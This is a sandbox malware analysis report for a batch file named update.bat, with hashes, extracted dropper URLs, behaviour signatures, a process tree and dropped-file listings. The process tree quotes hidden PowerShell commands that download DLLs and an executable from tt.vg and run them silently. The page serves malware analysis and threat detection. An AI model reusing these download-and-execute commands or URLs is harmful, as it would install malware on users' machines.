20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6

Analysis

max time kernel
151s
max time network
164s
platform
windows10-2004_x64
resource
win10v2004-20230915-es
resource tags

arch:x64arch:x86image:win10v2004-20230915-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
13/10/2023, 03:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
update.bat
Size 6KB
Sample231013-dpc69sdg62
SHA256 20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6
MD5 97b7c88a02b2a5214d742b7ed50f4544
SHA1 15bf7dd44049b94db1a82504802ead45f6186fa0
SHA512 918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25
SSDEEP 192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://tt.vg/download-update-dll1
exe.dropper
https://tt.vg/dlldownload2sqliuit-download
exe.dropper
https://tt.vg/download-latest-update

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	4732	powershell.exe
30	4732	powershell.exe
33	4732	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4732	powershell.exe
4732	powershell.exe
3880	powershell.exe
3880	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeDebugPrivilege	3880	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4608 wrote to memory of 4732	4608	cmd.exe	83
PID 4608 wrote to memory of 4732	4608	cmd.exe	83
PID 4608 wrote to memory of 3880	4608	cmd.exe	95
PID 4608 wrote to memory of 3880	4608	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\update.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3880

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bd5e81d2c243ab6465ad978a5124f723b6518c08d63e4ebb386a564ebf3384be
MD5 b6b62fabc50bfae977635bcebb14c566
SHA1 653628f0db5229d9136ee897e92bedba3b1d91aa
SHA512 9bbbbdd9b0571e55065751e2100b21685ef630641bedf53e6a1c8b3ec96606c378ec53d732500e7dc17ae6e3a1b4d37f2fdbec8e493f6bdf10e4b829dad5962f
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_bhbnfu1q.bkq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bhbnfu1q.bkq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

pidgin.exe

Path C:\Users\Admin\AppData\Local\Temp\pidgin.exe
Size 67KB
SHA256 19768f3c96197f90589a3e852ce074a44041f37aaf1bd49db81450c625aaa2c2
MD5 0d635a20bf0431cbb964009ad3fc6159
SHA1 e8c816ab770b29a9cfe75d45e338597821a5d5e8
SHA512 9f00e727df810a96f51527b48f279f84d3bab290dcb0b3e8d0a96c8f80c7312688db86f187b4a57bc43a42c235495a1a864da12f292fc832a9dec3793b857715
SSDEEP 768:MgJ6oOHo4edIg2cAY0pkRVt7WYxaLQCB+CD6r426AeL0BsLsayRu3Fv/+xf15aFl:7OI/2TY0pcnqB+z6ZboPGFZPl
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3880-47-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

Download

memory/3880-45-0x0000019EB7820000-0x0000019EB783E000-memory.dmp

Download

memory/3880-37-0x0000019EB7210000-0x0000019EB7220000-memory.dmp

Download

memory/3880-43-0x0000019EB7210000-0x0000019EB7220000-memory.dmp

Download

memory/3880-31-0x0000019EB7210000-0x0000019EB7220000-memory.dmp

Download

memory/3880-30-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

Download

memory/4732-13-0x000001E4AC1F0000-0x000001E4AC200000-memory.dmp

Download

memory/4732-19-0x000001E4AC1F0000-0x000001E4AC200000-memory.dmp

Download

memory/4732-25-0x000001E4AC4A0000-0x000001E4AC5A2000-memory.dmp

Download

memory/4732-26-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

Download

memory/4732-18-0x000001E4AC1F0000-0x000001E4AC200000-memory.dmp

Download

memory/4732-17-0x000001E4AC4A0000-0x000001E4AC5A2000-memory.dmp

Download

memory/4732-16-0x000001E4AC1F0000-0x000001E4AC200000-memory.dmp

Download

memory/4732-15-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

Download

memory/4732-14-0x000001E4AC5B0000-0x000001E4AC6B2000-memory.dmp

Download

memory/4732-0-0x000001E4AC310000-0x000001E4AC392000-memory.dmp

Download

memory/4732-12-0x000001E493F10000-0x000001E493F20000-memory.dmp

Download

memory/4732-8-0x00007FF8E3040000-0x00007FF8E3B01000-memory.dmp

Download

memory/4732-6-0x000001E493F80000-0x000001E493FA2000-memory.dmp

Download